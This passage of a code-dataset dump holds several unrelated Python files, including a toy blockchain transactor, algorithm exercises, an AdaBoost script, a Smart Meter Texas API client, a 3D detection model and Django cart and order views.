stream=s).sort_stats(sortby)\n#ps.print_stats()\n#print(s.getvalue())\n\n","sub_path":"Tests/TestPing.py","file_name":"TestPing.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"550194145","text":"from Crypto.PublicKey import RSA\nfrom Crypto import Random\nimport transaction\nimport hashlib\n\n\nclass Transactor:\n    \"\"\"\"Implementation of a Block Chain Transactor\"\"\"\n\n    def __init__(self, name_in, initial_value_in):\n        \"\"\"Construct a Transactor instance.\"\"\"\n        self.name = name_in\n\n        # Generate Key Pair (Public, Private)\n        random_generator = Random.new().read\n        self.key = RSA.generate(1024, random_generator)     # Both Public & Private Keys\n        self.public_key = self.key.publickey()              # For External Access\n\n        # All Start w/ Empty Local Copy of Blockchain\n        self.blockchain = []\n\n        # Unspent Transaction Outputs (UXTO's); Starts w/ Initial Value In\n        self.utxo_pool = [transaction.UTXO(None, None, initial_value_in)]\n\n    # Transaction Verification Methods\n    def sign_utxo(self, recipient_in, utxo_in):\n\n        # From Satoshi's White Paper:\n        # - Each owner transfers the coin to the next by digitally signing\n        #   a hash of the previous transaction and the public key of the next owner\n\n        to_sign = hashlib.sha256(str(utxo_in.transaction_hash.hexdigest()).encode('utf-8') + \\\n                                 str(recipient_in.public_key).encode('utf-8'))\n\n        utxo_in.signature = self.key.sign(str(to_sign.hexdigest()).encode('utf-8'), '')\n\n    def verify_utxo(self, sender_in, utxo_in):\n\n        # From Satoshi's White Paper:\n        # - A payee can verify the signatures to verify the chain of ownership.\n\n        to_verify = hashlib.sha256(str(utxo_in.transaction_hash.hexdigest()).encode('utf-8') + \\\n                                   str(self.public_key).encode('utf-8'))\n                                   \n        return sender_in.public_key.verify(str(to_verify.hexdigest()), utxo_in.signature)\n","sub_path":"transactor.py","file_name":"transactor.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"141613653","text":"from sklearn.linear_model import LinearRegression\nimport numpy as np\n\n#Just addition of numbers: [1,2,0] = [3]\n\ntrainingData = [ [3,3.5,3.5], [0,1,1], [2,2,4], [3,8,5]  ]\ntrainingLables = [10,2,8,16]\n\n\nclf = LinearRegression()\nclf.fit(trainingData,trainingLables)\n\naccuracy = clf.score( [[0,1,3],[5,0,0]],[4,5] )\nprint('Accuracy:',accuracy)\n","sub_path":"LinearRegression/learn_math.py","file_name":"learn_math.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"76346341","text":"# dynamic programming approach\nimport numpy as np\nfrom Bio import SeqIO\nfrom itertools import product\n\ndef edit_distance(s1: str, s2: str) -> int:\n    m = len(s1)\n    n = len(s2)\n    tab = np.zeros(shape=(m+1, n+1), dtype=int)\n    # fill table\n    for i in range(m+1):\n        tab[i, 0] = i\n    for j in range(n+1):\n        tab[0, j] = j\n    for i, j in product(range(1, m+1), range(1, n+1)):\n        if s1[i-1] == s2[j-1]:\n            cost = 0\n        else:\n            cost = 1\n        tab[i][j] = min(tab[i-1, j] + 1,\n                        tab[i, j-1] + 1,\n                        tab[i-1, j-1] + cost)\n    return tab[m][n]\n    \ndef main():\n    seq1, seq2 = (x.seq for x in SeqIO.parse(\"rosalind_edit.txt\", \"fasta\"))\n    with open(\"out.txt\", \"w\") as o:\n        print(edit_distance(seq1, seq2), file=o)\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"Bioinformatics Stronghold/50_edit.py","file_name":"50_edit.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"88542804","text":"#\n# @lc app=leetcode id=4 lang=python3\n#\n# [4] Median of Two Sorted Arrays\n#\nclass Solution:\n    # O(m+n) time complexity\n    # def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n    #     nums = nums1 + nums2\n    #     nums = sorted(nums)\n    #     if len(nums) % 2:\n    #         return nums[len(nums) // 2]\n    #     else:\n    #         return (nums[len(nums) // 2] + nums[len(nums) // 2 - 1]) / 2\n        \n    # Another approach\n    # def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n    #     m = len(nums1)\n    #     n = len(nums2)\n    #     looked = []\n    #     while True:\n    #         if not (nums1 and nums2):\n    #             break\n    #         if nums1[0] < nums2[0]:\n    #             looked.append(nums1.pop(0))\n    #         else:\n    #             looked.append(nums2.pop(0))\n    #         if len(looked) == (m + n) // 2 + 1:\n    #             if (m + n) % 2:\n    #                 return looked[-1] * 1.0\n    #             else:\n    #                 return (looked[-1] + looked[-2]) / 2.0\n    #     all_nums = looked + nums1 + nums2\n    #     if (m + n) % 2:\n    #         return all_nums[(m + n) // 2] * 1.0\n    #     else:\n    #         return (all_nums[(m + n) // 2] + all_nums[(m + n) // 2 - 1]) / 2.0\n\n    # O(log(m+n)) time complexity\n    def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n        l = len(nums1) + len(nums2)\n        if l % 2:\n            return self.kth(nums1, nums2, l // 2)\n        else:\n            return (self.kth(nums1, nums2, l // 2) + self.kth(nums1, nums2, l // 2 - 1)) / 2\n\n    def kth(self, nums1, nums2, k):\n        if not nums1:\n            return nums2[k]\n        if not nums2:\n            return nums1[k]\n        i1, i2 = len(nums1) // 2, len(nums2) // 2\n        m1, m2 = nums1[i1], nums2[i2]\n        if i1 + i2 < k:\n            if m1 < m2:\n                return self.kth(nums1[i1+1:], nums2, k - i1 - 1)\n            else:\n                return self.kth(nums1, nums2[i2+1:], k - i2 - 1)\n        else:\n            if m1 < m2:\n                return self.kth(nums1, nums2[:i2], k)\n            else:\n                return self.kth(nums1[:i1], nums2, k)\n ","sub_path":"4.median-of-two-sorted-arrays.py","file_name":"4.median-of-two-sorted-arrays.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"333056923","text":"#!/usr/bin/env python3\n\n\ndef fizzbuzz_range ():\n    for number in range(1, 101):\n        print(number)\n        \"\"\"Print entire range 1-100 inclusive\"\"\"\n\ndef fizzbuzz ():\n    for number in range(1, 101):\n        if not number % 3 and not number % 5:\n            \"\"\"If divisible by 3 and 5 is true print Fizzbuzz\"\"\"\n            print(\"FizzBuzz\")\n        elif not number % 3:\n            \"\"\"If divisible by 3 is true print Fizz\"\"\"\n            print('Fizz')\n        elif not number % 5:\n            \"\"\"If divisible by 5 is true print Buzz\"\"\"\n            print('Buzz')\n        else:\n            \"\"\"Just print the number if none of the above are true\"\"\"\n            print(number)\n\n\nif __name__ == '__main__':\n\n    fizzbuzz()\n","sub_path":"students/jeff_scott/lesson02/fizz_buzz_exercise.py","file_name":"fizz_buzz_exercise.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"512495763","text":"import math\n\ndef getData(data):\n\tdata = data.split(\"\\n\")\n\titerations = int(data[0].split(\" \")[0])\n\tsize = int(data[0].split(\" \")[1])\n\tepsilon = float(data[0].split(\" \")[2])\n\tintervals = data[1].split(\" \")\n\tvalues = data[2].split(\" \")\n\tprobability = data[3].split(\" \")\n\treturn iterations,size,epsilon,intervals,values,probability\n\ndef calculateSplit(values,probability):\n\ti = 0\n\tval = 2\n\tminimum = 2\n\tminval = 2\n\tfor each in range(0,len(values)-1):\n\t\terrneg = 0\n\t\terrpos = 0\n\t\tfor x in range(i+1):\n\t\t\tif int(values[x])==-1:\n\t\t\t\terrneg += float(probability[x])\n\t\t\tif int(values[x])==1:\n\t\t\t\terrpos += float(probability[x])\n\n\t\t\n\t\tfor x in range(i+1,len(values)):\n\t\t\tif int(values[x])==1:\n\t\t\t\terrneg += float(probability[x])\n\t\t\tif int(values[x])==-1:\n\t\t\t\terrpos += float(probability[x])\n\n\t\t\n\t\tif errpos < minval or errneg < minval:\n\t\t\tif errpos<errneg:\n\t\t\t\tminval = errpos\n\t\t\t\tminimum = i\n\t\t\t\tval = -1\n\t\t\telif errpos>=errneg:\n\t\t\t\tminval = errneg\n\t\t\t\tminimum = i\n\t\t\t\tval = 1\n\t\ti=i+1\n\t\t'''print \"negetive error:\",errneg\n\t\tprint \"positive error:\",errpos'''\n\treturn minval,minimum,val\n\ndef calAlpha(err):\n\ta = 0.5*math.log((1-err)/err)\n\tq = []\n\tq.append(math.exp(-a))\n\tq.append(math.exp(a))\n\tx = err*(1-err)\n\tz = 2*math.pow(x,0.5)\n\n\treturn q,z,a\n\n\ndef newProbs(values,probability,index,partition,q,z):\n\tnewprob = []\n\tfor x in range(0,index+1):\n\t\tif int(values[x]) != partition:\n\t\t\tnewprob.append(float(probability[x])*q[1]/z)\n\t\telse:\n\t\t\tnewprob.append(float(probability[x])*q[0]/z)\n\n\tfor x in range(index+1,len(values)):\n\t\tif int(values[x]) != -partition:\n\t\t\tnewprob.append(float(probability[x])*q[1]/z)\n\t\telse:\n\t\t\tnewprob.append(float(probability[x])*q[0]/z)\n\n\treturn newprob\n\ndef errorcalculate(booster,values):\n\tindx = 0\n\tcplus = 0\n\tcneg = 0\n\terrs = 0\n\tfor val in values:\n\t\tcplus = 0\n\t\tcneg = 0\n\t\tfor each in booster:\n\n\t\t\tif each[2] == 1 and int(each[1])>=indx:\n\t\t\t\tcplus += each[0]\n\t\t\telif each[2] == -1 and int(each[1])>=indx:\n\t\t\t\tcneg += each[0]\n\t\t\telif each[2] == -1 and int(each[1])<indx:\n\t\t\t\tcplus += each[0]\n\t\t\telse:\n\t\t\t\tcneg += each[0]\n\t\tindx +=1\n\n\t\tif cplus > cneg:\n\t\t\tif int(val) == -1:\n\t\t\t\terrs +=1\n\t\telse:\n\t\t\tif int(val) == 1:\n\t\t\t\terrs +=1\n\n\treturn errs\n\n\n\ndef main():\n\tf1 = open(\"initfile.txt\",'r')\n\tf2 = open(\"binaryada.txt\",'w')\n\titerations,size,epsilon,intervals,values,probability = getData(f1.read()) \n\tbooster = []\n\tzs = 1\n\n\tfor i in range(0,iterations):\n\n\t\terr,index,partition = calculateSplit(values,probability)\n\t\tcl = []\n\n\t\tf2.write(\"Iteration \"+str(i+1)+\"\\n\")\n\n\t\tif partition == 1:\n\t\t\tf2.write(\"Selected weak classifier: x<\"+str((float(intervals[index])+float(intervals[index+1]))/2)+\"\\n\")\n\t\telse:\n\t\t\tf2.write(\"Selected weak classifier: x>\"+str((float(intervals[index])+float(intervals[index+1]))/2)+\"\\n\")\n\n\n\t\tf2.write(\"Error:\"+str(err)+\"\\n\")\n\t\tq,z,a = calAlpha(err)\n\t\tf2.write(\"Weight:\"+str(a)+\"\\n\")\n\t\tf2.write(\"Probability normalization factor: \"+str(z)+\"\\n\")\n\n\t\tcl.append(a)\n\t\tcl.append(index)\n\t\tcl.append(partition)\n\t\tbooster.append(cl)\n\n\t\tprobability = newProbs(values,probability,index,partition,q,z)\n\t\tf2.write(\"Probability after normalization: \")\n\t\tfor each in probability:\n\t\t\tf2.write(\"  \"+str(each))\n\n\t\tf2.write(\"\\nft: \")\n\t\tf = \"\"\n\t\tfor each in booster:\n\t\t\tif each[2] == 1:\n\t\t\t\tf += str(each[0])+\" I(x<\"+str(((float(intervals[each[1]])+float(intervals[each[1]+1]))/2))+\")+\"\n\t\t\telse:\n\t\t\t\tf += str(each[0])+\" I(x>\"+str(((float(intervals[each[1]])+float(intervals[each[1]+1]))/2))+\")+\"\n\n\n\t\tf2.write(f.strip(\"+\")+\"\\n\")\n\t\terrs = errorcalculate(booster,values)\n\n\n\t\tzs = zs*z\n\t\tf2.write(\"error of the boosted classifier: \"+str(errs)+\"\\n\")\n\t\tf2.write(\"bound on Et: \"+str(zs)+\"\\n\")\n\t\tf2.write(\"===============================================================================================\\n\")\n\n\n\n\n\n","sub_path":"ML project 2/adaboosting.py","file_name":"adaboosting.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"81837394","text":"from __future__ import annotations\n\nimport asyncio\nimport datetime\nimport logging\nfrom random import randrange\n\nimport dateutil\nfrom aiohttp import ClientSession\nfrom tenacity import retry, retry_if_exception_type\n\nfrom .const import (\n    AUTH_ENDPOINT,\n    BASE_ENDPOINT,\n    BASE_URL,\n    CLIENT_HEADERS,\n    LATEST_OD_READ_ENDPOINT,\n    METER_ENDPOINT,\n    OD_READ_ENDPOINT,\n    OD_READ_RETRY_TIME,\n    TOKEN_EXPRIATION,\n    USER_AGENT_TEMPLATE,\n)\nfrom .exceptions import (\n    SmartMeterTexasAPIError,\n    SmartMeterTexasAuthError,\n    SmartMeterTexasRateLimitError,\n    SmartMeterTexasAuthExpired,\n)\n\n__author__ = \"Graham Wetzler\"\n__email__ = \"graham@wetzler.dev\"\n__version__ = \"0.4.3\"\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass Meter:\n    def __init__(self, meter: str, esiid: str, address: str):\n        self.meter = meter\n        self.esiid = esiid\n        self.address = address\n        self.reading_data = None\n\n    async def read_meter(self, client: Client):\n        \"\"\"Triggers an on-demand meter read and returns it when complete.\"\"\"\n        _LOGGER.debug(\"Requesting meter reading\")\n\n        # Trigger an on-demand meter read.\n        await client.request(\n            OD_READ_ENDPOINT, json={\"ESIID\": self.esiid, \"MeterNumber\": self.meter},\n        )\n\n        # Occasionally check to see if on-demand meter reading is complete.\n        while True:\n            json_response = await client.request(\n                LATEST_OD_READ_ENDPOINT, json={\"ESIID\": self.esiid},\n            )\n            try:\n                data = json_response[\"data\"]\n                status = data[\"odrstatus\"]\n            except KeyError:\n                _LOGGER.error(\"Error reading meter: \", json_response)\n                raise SmartMeterTexasAPIError(\n                    f\"Error parsing response: {json_response}\"\n                )\n            else:\n                if status == \"COMPLETED\":\n                    _LOGGER.debug(\"Reading completed: %s\", self.reading_data)\n                    self.reading_data = data\n                    return self.reading_data\n                elif status == \"PENDING\":\n                    _LOGGER.debug(\"Meter reading %s\", status)\n                    _LOGGER.debug(\"Sleeping for %s seconds\", OD_READ_RETRY_TIME)\n                    await asyncio.sleep(OD_READ_RETRY_TIME)\n                else:\n                    _LOGGER.error(\"Unknown meter reading status: %s\", status)\n                    raise SmartMeterTexasAPIError(f\"Unknown meter status: {status}\")\n\n    @property\n    def reading(self):\n        \"\"\"Returns the latest meter reading in kWh.\"\"\"\n        return float(self.reading_data[\"odrread\"])\n\n    @property\n    def reading_datetime(self):\n        \"\"\"Returns the UTC datetime of the latest reading.\"\"\"\n        date = dateutil.parser.parse(self.reading_data[\"odrdate\"])\n        date_as_utc = date.astimezone(datetime.timezone.utc)\n        return date_as_utc\n\n\nclass Account:\n    def __init__(self, username: str, password: str):\n        self.username = username\n        self.password = password\n\n    async def fetch_meters(self, client: \"Client\"):\n        \"\"\"Returns a list of the meters associated with the account\"\"\"\n        json_response = await client.request(METER_ENDPOINT, json={\"esiid\": \"*\"})\n\n        meters = []\n        for meter_data in json_response[\"data\"]:\n            address = meter_data[\"address\"]\n            meter = meter_data[\"meterNumber\"]\n            esiid = meter_data[\"esiid\"]\n            meter = Meter(meter, esiid, address)\n            meters.append(meter)\n\n        return meters\n\n\nclass Client:\n    def __init__(self, websession: ClientSession, account: \"Account\"):\n        self.websession = websession\n        self.account = account\n        self.token = None\n        self.authenticated = False\n        self.token_expiration = datetime.datetime.now()\n        self.user_agent = None\n\n    async def _init_websession(self):\n        \"\"\"Make an initial GET request to initialize the session otherwise\n        future POST requests will timeout.\"\"\"\n        await self.websession.get(BASE_URL, headers=self._agent_headers())\n\n    def _agent_headers(self):\n        \"\"\"Build the user agent header.\"\"\"\n        if not self.user_agent:\n            self.user_agent = USER_AGENT_TEMPLATE.format(\n                BUILD=randrange(1001, 9999), REV=randrange(12, 999)\n            )\n\n        return {\"User-Agent\": self.user_agent}\n\n    def _update_token_expiration(self):\n        self.token_expiration = datetime.datetime.now() + TOKEN_EXPRIATION\n\n    @retry(retry=retry_if_exception_type(SmartMeterTexasAuthExpired))\n    async def request(\n        self, path: str, method: str = \"post\", **kwargs,\n    ):\n        \"\"\"Helper method to make API calls against the SMT API.\"\"\"\n        await self.authenticate()\n        resp = await self.websession.request(\n            method, f\"{BASE_ENDPOINT}{path}\", headers=self.headers, **kwargs\n        )\n        if resp.status == 401:\n            _LOGGER.debug(\"Authentication token expired; requesting new token\")\n            self.authenticated = False\n            await self.authenticate()\n            raise SmartMeterTexasAuthExpired\n\n        # Since API call did not return a 400 code, update the token_expiration.\n        self._update_token_expiration()\n\n        json_response = await resp.json()\n        return json_response\n\n    async def authenticate(self):\n        if not self.token_valid:\n            _LOGGER.debug(\"Requesting login token\")\n\n            # Make an initial GET request otherwise subsequent calls will timeout.\n            await self._init_websession()\n\n            resp = await self.websession.request(\n                \"POST\",\n                f\"{BASE_ENDPOINT}{AUTH_ENDPOINT}\",\n                json={\n                    \"username\": self.account.username,\n                    \"password\": self.account.password,\n                    \"rememberMe\": \"true\",\n                },\n                headers=self.headers,\n            )\n\n            if resp.status == 400:\n                raise SmartMeterTexasAuthError(\"Username or password was not accepted\")\n\n            if resp.status == 403:\n                raise SmartMeterTexasRateLimitError(\n                    \"Reached ratelimit or brute force protection\"\n                )\n\n            json_response = await resp.json()\n\n            try:\n                self.token = json_response[\"token\"]\n            except KeyError:\n                raise SmartMeterTexasAPIError(\n                    \"API returned unknown login json: %s\", json_response\n                )\n            self._update_token_expiration()\n            self.authenticated = True\n            _LOGGER.debug(\"Successfully retrieved login token\")\n\n    @property\n    def headers(self):\n        headers = {**self._agent_headers(), **CLIENT_HEADERS}\n        if self.token:\n            headers[\"Authorization\"] = f\"Bearer {self.token}\"\n        return headers\n\n    @property\n    def token_valid(self):\n        if self.authenticated or (datetime.datetime.now() < self.token_expiration):\n            return True\n\n        return False\n","sub_path":"smart_meter_texas/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"465523084","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom totomodul import ustawienia, losujliczby, pobierztypy\nfrom totomodul import czytaj_json, zapisz_json, zapisz_str, czytaj_str\nimport time\n\n\ndef main(args):\n    # ustawienia gry\n    nick, ileliczb, maksliczba, ilerazy = ustawienia()\n\n    # losujemy liczby\n    liczby = losujliczby(ileliczb, maksliczba)\n\n    # pobieramy typy użytkownika i sprawdzamy ile liczb trafił\n    for i in range(ilerazy):\n        typy = pobierztypy(ileliczb, maksliczba)\n        iletraf = wyniki(set(liczby), typy)\n    \n    nazwapliku = nick + \".json\" # nazwa pliku z historią losowań\n    losowania = czytaj_json(nazwapliku)\n    losowania.append({\n        \"czas\": time.time(),\n        \"dane\": (ileliczb, maksliczba),\n        \"wylosowane\": liczby,\n        \"ile\": iletraf\n    })\n    zapisz_json(nazwapliku, losowania)\n    \n    nazwaplikustr = nick + \"_test.txt\" # nazwa pliku dla zapisu tekstowego słowników\n    losowania2 = czytaj_str(nazwaplikustr)\n    losowania2.append({\n        \"czas\": time.time(),\n        \"dane\": (ileliczb, maksliczba),\n        \"wylosowane\": liczby,\n        \"ile\": iletraf\n    })\n    zapisz_str(nazwaplikustr, losowania)\n    \n\n\n    print(\"\\nLosowania: \", liczby)\n    return 0\n\ndef wyniki(liczby, typy):\n    \"\"\"Funkcaja porównujewylosowane i wytypowane liczby,\n    zwraca ilość trafień\"\"\"\n    trafione = set(liczby) & typy\n    if trafione:\n        print(\"\\nIlość trafień: %s\" % len(trafione))\n        trafione = \", \".join(map(str, trafione))\n        print(\"Trafione liczby: %s\" % trafione)\n    else:\n        print(\"Brak trafień. Spróbuj jeszcze raz!\")\n        \n    print(\"\\n\" + \"X\" * 40 + \"\\n\") # wydruk linii odzielającej z XXXX\n\n    return len(trafione)\n\n\nif __name__ == '__main__':\n    import sys\n    sys.exit(main(sys.argv))\n\n\n\n","sub_path":"toto3.py","file_name":"toto3.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"472782647","text":"import torch\nfrom mmcv.runner import force_fp32\nfrom torch.nn import functional as F\n\nfrom mmdet.models import DETECTORS, build_backbone, build_head, build_neck\nfrom .base import Base3DDetector\nfrom torch_cluster import radius\n\n@DETECTORS.register_module()\nclass SNet(Base3DDetector):\n\n    def __init__(self,\n                 backbone,\n                 neck=None,\n                 bbox_head=None,\n                 seg_head=None,\n                 train_cfg=None,\n                 test_cfg=None,\n                 pretrained=None,):\n        super(SNet, self).__init__()\n        self.backbone = build_backbone(backbone)\n        if seg_head is not None:\n            self.seg_head = build_head(seg_head)\n        weight = torch.as_tensor([0.1, 1.0, 1.0, 4.0])\n        self.ce_loss = torch.nn.CrossEntropyLoss(weight)\n        #bbox_head.update(train_cfg=train_cfg)\n        #bbox_head.update(test_cfg=test_cfg)\n        #self.bbox_head = build_head(bbox_head)\n\n    def extract_feat(self, points, img_metas, pts_segment_mask):\n        \"\"\"Extract features from points.\"\"\"\n        \n        import polyscope as ps; ps.set_up_dir('z_up'); ps.init()\n        feat_dicts = []\n        for i in range(len(points)):\n            import ipdb; ipdb.set_trace()\n            \n            feat_dict = self.backbone(points[i].unsqueeze(0))\n            ps.remove_all_structures()\n            rads=[0.5, 1, 2, 4]\n            fp_xyz_rev = feat_dict['fp_xyz'][::-1]\n            ps_p = ps.register_point_cloud('points-all',\n                points[i].detach().cpu()[:, :3], radius=2e-4)\n            ps_p.add_scalar_quantity('seg-mask',\n                pts_segment_mask[i].detach().cpu(), enabled=True)\n            for j, pj in enumerate(fp_xyz_rev):\n                if j == 0:\n                    continue\n                prev = fp_xyz_rev[j-1][0]\n                pj = pj[0]\n                #ps.register_point_cloud('points', prev.detach().cpu(), radius=2e-4)\n                ps.register_point_cloud('clusters', pj.detach().cpu(), radius=4e-4)\n                e0, e1 = radius(prev, pj, rads[j-1])\n                points_all = torch.cat([prev, pj], dim=0)\n                e0 = e0 + prev.shape[0]\n                edges = torch.stack([e0, e1], dim=1)\n                ps.register_curve_network(\n                    'edges',\n                    points_all.detach().cpu(),\n                    edges.detach().cpu(),\n                    radius=3e-4, enabled=False)\n                ps.show()\n                break\n            feat_dicts.append(feat_dict)\n\n        #voxels, num_points, coors = self.voxelize(points)\n        #voxel_features = self.voxel_encoder(voxels, num_points, coors)\n        #batch_size = coors[-1, 0].item() + 1\n        #x = self.middle_encoder(voxel_features, coors, batch_size)\n        #x = self.backbone(x)\n        #if self.with_neck:\n        #    x = self.neck(x)\n        return feat_dicts\n\n    def forward_train(self,\n                      points,\n                      img_metas,\n                      gt_bboxes_3d,\n                      gt_labels_3d,\n                      pts_segment_mask=None,\n                      gt_bboxes_ignore=None):\n        \"\"\"Training forward function.\n\n        Args:\n            points (list[torch.Tensor]): Point cloud of each sample.\n            img_metas (list[dict]): Meta information of each sample\n            gt_bboxes_3d (list[:obj:`BaseInstance3DBoxes`]): Ground truth\n                boxes for each sample.\n            gt_labels_3d (list[torch.Tensor]): Ground truth labels for\n                boxes of each sampole\n            gt_bboxes_ignore (list[torch.Tensor], optional): Ground truth\n                boxes to be ignored. Defaults to None.\n\n        Returns:\n            dict: Losses of each branch.\n        \"\"\"\n        x = self.extract_feat(points, img_metas, pts_segment_mask)\n        outs = []\n        for xi in x:\n            outs.append(self.seg_head(xi))\n        outs = torch.cat(outs, dim=-1).squeeze(0).transpose(0, 1).softmax(-1)\n        pts_segment_mask = torch.cat(pts_segment_mask)\n        losses = dict()\n        losses['loss_seg'] = self.ce_loss(outs, pts_segment_mask.long())\n        pred = outs.argmax(-1)\n        names = ['BG', 'Car', 'Ped', 'Cyc']\n        for i, name in enumerate(names):\n            P = (pred == i)\n            T = (pts_segment_mask == i)\n            losses[f'{name}@P'] = P.float().sum()\n            losses[f'{name}@T'] = T.float().sum()\n            losses[f'{name}@TP'] = (T & P).float().sum()\n        #loss_inputs = outs + (gt_bboxes_3d, gt_labels_3d, img_metas)\n        #losses = self.bbox_head.loss(\n        #    *loss_inputs, gt_bboxes_ignore=gt_bboxes_ignore)\n        return losses\n\n    def simple_test(self, points, img_metas, imgs=None, rescale=False):\n        \"\"\"Test function without augmentaiton.\"\"\"\n        import ipdb; ipdb.set_trace()\n        x = self.extract_feat(points, img_metas)\n        outs = self.bbox_head(x)\n        bbox_list = self.bbox_head.get_bboxes(\n            *outs, img_metas, rescale=rescale)\n        bbox_results = [\n            bbox3d2result(bboxes, scores, labels)\n            for bboxes, scores, labels in bbox_list\n        ]\n        return bbox_results\n\n    def aug_test(self, points, img_metas, imgs=None, rescale=False):\n        \"\"\"Test function with augmentaiton.\"\"\"\n        import ipdb; ipdb.set_trace()\n        feats = self.extract_feats(points, img_metas)\n\n        # only support aug_test for one sample\n        aug_bboxes = []\n        for x, img_meta in zip(feats, img_metas):\n            outs = self.bbox_head(x)\n            bbox_list = self.bbox_head.get_bboxes(\n                *outs, img_meta, rescale=rescale)\n            bbox_list = [\n                dict(boxes_3d=bboxes, scores_3d=scores, labels_3d=labels)\n                for bboxes, scores, labels in bbox_list\n            ]\n            aug_bboxes.append(bbox_list[0])\n\n        # after merging, bboxes will be rescaled to the original image size\n        merged_bboxes = merge_aug_bboxes_3d(aug_bboxes, img_metas,\n                                            self.bbox_head.test_cfg)\n\n        return [merged_bboxes]\n","sub_path":"mmdet3d/models/detectors/snet.py","file_name":"snet.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"357409024","text":"from decimal import Context\nfrom django.http.response import JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404, reverse\nfrom django.views.generic import TemplateView\nfrom django.views.decorators.http import require_POST\nfrom .cart import Cart\nfrom core.models import Product\nfrom delivery.models import Wilaya, Commune\nfrom coupons.models import Coupon\nfrom order.models import  OrderItem, Order\nfrom business.models import Business\nfrom django.http import HttpResponse\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom .forms import CartAddProductForm, CartUpdateProductQuantityForm\nfrom django.template.loader import render_to_string\nfrom django.contrib import messages\nfrom django.core import serializers\nfrom order.forms import OrderCreateForm\nfrom django.core.mail import EmailMessage\nfrom io import BytesIO\nimport weasyprint\n    \n# class CheckoutView(TemplateView):\n#     template_name = \"checkout.html\"\n\ndef cart_detail(request):\n    cart = Cart(request)\n    has_attribute = False\n    wilayas= Wilaya.objects.all().order_by('name') \n    communes= Commune.objects.all().order_by('name') \n    form = OrderCreateForm()\n    for item in cart:\n        item['update_quantity_form'] = CartAddProductForm(initial={'quantity': item['quantity'], 'override': True})\n        # print('Wach ahda item details', item)\n        try:\n            if item['attribute_1']: \n                has_attribute = True\n        except:\n            pass\n    # print('baskets details', list(cart))\n    if cart.__len__() :\n        # print('request', request.method)\n        if request.method == 'POST':\n            form = OrderCreateForm(request.POST)\n            # print(form)\n            if form.is_valid():\n                order = form.save()\n                order.delivery_cost = order.wilaya.price\n                order.save()\n                # print('delivery cost', order.wilaya.price)\n                for item in cart:\n                    OrderItem.objects.create(order=order,product=item['product'],price=item['price'],quantity=item['quantity'],attribute_1 = ['attrbute_1'], attribute_2 = ['attrbute_2'], attribute_3 = ['attrbute_3'])\n                try:\n                    coupon_id = request.session['coupon_id']\n                    coupon = Coupon.objects.get(id=coupon_id)\n                    coupon.stock -= 1\n                    coupon.used += 1\n                    request.session['coupon_id'] = None\n                    coupon.save()\n                except:\n                    pass\n                cart.clear()\n                total_price = cart.get_total_price_after_discount()\n                total_price_with_delivery = total_price + order.delivery_cost\n            \n                subject = f'Commande N°: {order.id}'\n                message = f'Chére {order.first_name},\\n\\n vous avez passer une commande avec succés' f'votre identifiant de commande est le: {order.id}'\n                try :\n                    response = HttpResponse(content_type='application/pdf' )\n                    response['Content-Disposition' ] = f'filename=order_{order.id}.pdf'\n                    business   = Business.objects.last().name\n                    html = render_to_string('order_pdf.html' , {'order' : order, 'business': business})\n                    out = BytesIO()\n                    pdf_file = weasyprint.HTML(string=html).write_pdf(response)\n                    mail = EmailMessage(subject, message, 'octopus.emailing@gmail.com',[order.email])\n                    mail.attach(pdf_file,out.getvalue(),'application/pdf')\n                    mail.send()\n                    context = {\n                        'order': order,\n                        # 'products_total': products_total, \n                        'total_price': total_price,\n                        'delivery': order.delivery_cost,\n                        'total_price_with_delivery': total_price_with_delivery,\n                        'pdf_file': pdf_file,\n                    }\n                    return render(request, 'created.html', context)\n                except :\n                    print('yaw matebaatch')\n                # stylesheets=[weasyprint.CSS(str(configs.STATIC_ROOT) + 'css/pdf.css' )]\n            else: \n                print('the form is not valid')\n                return render(request, 'cart.html', {'cart':cart, 'form' : form, 'wilayas': wilayas, 'communes': communes})\n    context = {\n        'cart': cart,\n        'has_attribute' : has_attribute,\n        'form' : form,\n        'wilayas': wilayas,\n        'communes': communes\n        # 'coupon_apply_form': coupon_apply_form\n    }\n    return render(request, 'cart.html', context)\n\n\ndef set_if_not_none(mapping, key, value):\n    if value is not None:\n        mapping[key] = value\n\n\n\n@require_POST # \ndef cart_add(request, product_id):\n    cart = Cart(request)\n    product = get_object_or_404(Product, id=product_id)\n    form = CartAddProductForm(request.POST)\n    if form.is_valid():\n        cd = form.cleaned_data\n        print('cd', cd)\n        cart.add(\n            product=product,\n            quantity=cd['quantity'],\n            override_quantity=cd['override'],\n            attribute_1 = cd['attribute_1'],\n            attribute_2 = cd['attribute_2'],\n            attribute_3 = cd['attribute_3']\n        )\n        return redirect('cart:cart_detail')\n\ndef 